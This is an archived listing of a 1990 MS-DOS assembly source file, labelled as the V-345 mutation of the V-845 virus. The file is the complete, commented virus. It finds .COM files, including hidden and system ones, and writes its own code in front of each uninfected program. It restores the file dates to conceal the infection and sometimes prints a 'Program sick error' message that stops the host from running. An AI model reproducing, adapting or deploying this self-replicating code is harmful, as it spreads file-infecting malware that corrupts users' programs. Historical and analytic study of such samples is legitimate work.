home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-A.ZIP / AMST-299.ASM < prev    next >
Assembly Source File  |  1990-11-28  |  3KB  |  133 lines

  1.     page    ,132
  2.     name    V345
  3.     title    V-345 - a mutation of the V-845 virus
  4.     .radix    16
  5. code    segment
  6.     assume    cs:code,ds:code
  7.     org    100
  8.  
  9. timer    equ    6C
  10. dta    equ    80
  11. ftime    equ    offset dta + 16
  12. fdate    equ    offset dta + 18
  13. fname    equ    offset dta + 1E
  14. virlen    =    offset endcode - offset start
  15. newid    =    offset ident - offset start
  16.  
  17. start:
  18.     jmp    short virus
  19.  
  20. ident    dw    'VI'
  21. counter db    0
  22. allcom    db    '*.COM',0
  23. progbeg dd    ?
  24. eof    dw    ?
  25.  
  26. virus:
  27.     push    ax
  28.     mov    ax,cs        ;Move program code
  29.     add    ax,1000     ; 64K bytes forward
  30.     mov    es,ax
  31.     inc    [counter]
  32.     mov    si,offset start
  33.     xor    di,di
  34.     mov    cx,virlen
  35.     rep    movsb
  36.  
  37.     mov    dx,offset allcom    ;Search for '*.COM' files
  38.     mov    cx,110b     ;Normal, Hidden or System
  39.     mov    ah,4E        ;Find First file
  40.     int    21
  41.     jc    done        ;Quit if none found
  42.  
  43. mainlp:
  44.     mov    dx,fname
  45.     mov    ax,3D02     ;Open file in Read/Write mode
  46.     int    21
  47.     mov    bx,ax        ; Save handle
  48.     push    es
  49.     pop    ds
  50.     mov    dx,virlen
  51.     mov    cx,0FFFF    ;Read all bytes (64K max in .COM file)
  52.     mov    ah,3F        ;Read from handle
  53.     int    21        ;Bytes read in AX
  54.     add    ax,virlen
  55.     mov    cs:[eof],ax    ;Save pointer to the end of file
  56.     cmp    ds:[newid+virlen],'VI'  ;Infected?
  57.     je    close        ;Go find next file if so
  58.  
  59.     xor    cx,cx        ;Go to file beginning
  60.     mov    dx,cx
  61.     mov    ax,4200     ;LSEEK from the beginning of the file
  62.     int    21
  63.     jc    close        ;Leave this file if error occures
  64.  
  65.     xor    dx,dx        ;Write the whole code (virus+file)
  66.     mov    cx,cs:[eof]    ; back onto the file
  67.     mov    ah,40        ;Write to handle
  68.     int    21
  69.  
  70.     mov    cx,cs:[ftime]
  71.     mov    dx,cs:[fdate]
  72.     mov    ax,5701     ;Set file date/time
  73.     int    21
  74.  
  75. close:
  76.     mov    ah,3E        ;Close the file
  77.     int    21
  78.  
  79.     push    cs
  80.     pop    ds        ;Restore DS
  81.     mov    ah,4F        ;Find next matching file
  82.     int    21
  83.     jc    done        ;Exit if all found
  84.     jmp    mainlp        ;Otherwise loop again
  85.  
  86. done:
  87.     cmp    [counter],5    ;If counter goes above 5,
  88.     jb    progok        ; the program becomes "sick"
  89.     mov    ax,40
  90.     mov    ds,ax        ;Get the system timer value
  91.     mov    ax,word ptr ds:[timer]
  92.     push    cs
  93.     pop    ds        ;Restore DS
  94.     and    ax,1        ;At random (if timer value is odd)
  95.     jz    progok        ; display the funny message
  96.     mov    dx,offset message
  97.     mov    ah,9        ;Print string
  98.     int    21
  99.     int    20        ;Terminate program
  100.  
  101. message db    'Program sick error:Call doctor or '
  102.     db    'buy PIXEL for cure description',0A,0Dh,'$'
  103.  
  104. progok:
  105.     mov    si,offset transf    ;Move this part of code
  106.     mov    cx,offset endcode - offset transf    ;Code length
  107.     xor    di,di        ;Move to ES:0
  108.     rep    movsb        ;Do it
  109.  
  110.     pop    bx        ; BX = old AX
  111.     mov    word ptr cs:[progbeg],0
  112.     mov    word ptr cs:[progbeg+2],es    ;Point progbeg at program start
  113.     jmp    cs:[progbeg]    ;Jump at program start
  114.  
  115. transf:
  116.     push    ds
  117.     pop    es
  118.     mov    si,offset endcode
  119.     mov    di,offset start
  120.     mov    cx,0FFFF    ;Restore original program's code
  121.     sub    cx,si
  122.     rep    movsb
  123.     mov    word ptr cs:[start],offset start
  124.     mov    word ptr cs:[start+2],ds
  125.     mov    ax,bx
  126.     jmp    dword ptr cs:[start]    ;Jump to program start
  127. endcode label    byte
  128.  
  129.     int    20        ;Dummy program
  130.  
  131. code    ends
  132.     end    start
  133.